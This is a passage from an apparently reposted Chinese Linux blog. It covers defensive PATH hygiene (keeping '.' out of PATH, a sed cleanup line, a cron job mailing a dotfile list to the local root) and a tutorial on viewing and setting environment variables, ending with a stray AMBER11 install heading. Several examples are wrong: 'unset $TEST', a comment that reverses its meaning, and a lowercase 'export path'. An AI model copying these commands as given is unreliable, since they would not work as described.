首先,要养成输绝对路径的良好命令行输入习惯,这样就不会让"不法份子"乘虚而入了。比如,列目录最好用/bin/ls来列目录,不要图方便而冒然输入ls。
其次,根用户(root)不要把"."包括到搜索目录列表里,而普通用户如果个"."包括到搜索列表中的话别,则"."就应当放在搜索目录列表的最后位置上。这样一来普通用户不会受到前面所述的那种危害。
最后,可以在登陆时在/etc/profile 和bashrc .profile文件的末尾添加如下一行
[PATH=`echo $PATH |sed -e 's/::/:/g; s/:.:/:/g; s/:.$//; s/^://' `
这个简单的sed命令将删除路径里所有的"."包括其另一形式"::"
还可以由crontab调用定期执行
#find / ! -fstype proc '(' -name '.??*' -o -name '.[^.]' ')' > point.txt ; mail -s 'this is a pointlist' root@localhost < point.txt
PATH的值是一系列目录,当您运行一个程序时,Linux在这些目录下进行搜寻。用以下命令可以看到PATH的值。
$ echo $PATH
例如,在主机中,用户yogin的PATH值为:
/opt/kde/bin:/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/yogin/bin
其中“:”为分隔符。所以,上面的一串目录可以看成是如下的目录列表。
/opt/kde/bin
/usr/local/bin
/bin:/usr/bin
/usr/X11R6/bin
/home/yogin/bin
同样,也是主机中,用户root的PATH值为:
/opt/kde/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin
要修改所有用户的PATH值,您可以以root身份编辑/etc/profile文件,修改其中包含“PATH=”的一行。
例如,您可以使用pico编辑器打开/etc/profile文件。
$ pico -w /etc/profile
pico是一个文本编辑器,而-w选项关闭了长行回绕功能。
只有在用户重新注册后,PATH的新值才会生效。如果只是要修改某一个用户的PATH值,就应该编辑该用户主目录中的.bash-profile文件。
如果您想将当前目录加入到PATH中,则将“.”加入PATH中,此时PATH的设定如下:
PATH="$PATH:/usr/X11R6/bin:."
export PATH
注意:在修改了PATH值或任何环境变量后,都要用export将其输出,新的PATH值才能生效。
=======================
系统的环境变量在配置web server以及编写程序都常常被用到, 因此了解必要的关于系统变量的知识是非常有必要的.
本文简述关于linux系统变量的查看以及甚至方法等, 希望对大家有用.
在Windows下,查看环境变量的命令是:set,这个命令会输出系统当前的环境变量。
Linux下准确的说是REDHAT下应该如何查看呢,命令是:
export
如果你想查看某一个名称的环境变量,命令是:echo $环境变量名,比如:
echo $ORACLE_HOME
Windows对应的命令是:set 环境变量名。
外补一篇:
1. 显示环境变量HOME
$ echo $HOME
/home/redbooks
2. 设置一个新的环境变量hello
$ export HELLO=”Hello!”
$ echo $HELLO
Hello!
3. 使用env命令显示所有的环境变量
$ env
HOSTNAME=redbooks.safe.org
PVM_RSH=/usr/bin/rsh
SHELL=/bin/bash
TERM=xterm
HISTSIZE=1000
…
4. 使用set命令显示所有本地定义的Shell变量
$ set
BASH=/bin/bash
BASH_VERSINFO=([0]=”2″[1]=”05b”[2]=”0″[3]=”1″[4]=”release”[5]=”i386-redhat-Linux-gnu”)
BASH_VERSION=’2.05b.0(1)-release’
COLORS=/etc/DIR_COLORS.xterm
COLUMNS=80
DIRSTACK=()
DISPLAY=:0.0
…
5. 使用unset命令来清除环境变量
set可以设置某个环境变量的值。清除环境变量的值用unset命令。如果未指定值,则该变量值将被设为NULL。示例如下:
$ export TEST=”Test…” #增加一个环境变量TEST
$ env|grep TEST #此命令有输入,证明环境变量TEST已经存在了
TEST=Test…
$ unset $TEST #删除环境变量TEST
$ env|grep TEST #此命令没有输出,证明环境变量TEST已经存在了
6. 使用readonly命令设置只读变量
如果使用了readonly命令的话,变量就不可以被修改或清除了。示例如下:
$ export TEST=”Test…” #增加一个环境变量TEST
$ readonly TEST #将环境变量TEST设为只读
$ unset TEST #会发现此变量不能被删除
-bash: unset: TEST: cannot unset: readonly variable
$ TEST=”New” #会发现此也变量不能被修改
-bash: TEST: readonly variable
环境变量的设置位于/etc/profile文件
如果需要增加新的环境变量可以添加下属行
export path=$path:/path1:/path2:/pahtN
转载时务必以超链接形式标明文章原始出处和作者信息及版权声明原文网址:http://www.linuxsense.org/archives/398.html
Friday, April 9, 2010
Install AMBER11 on Ubuntu
- apt-get install gfortran
- apt-get install xorg-dev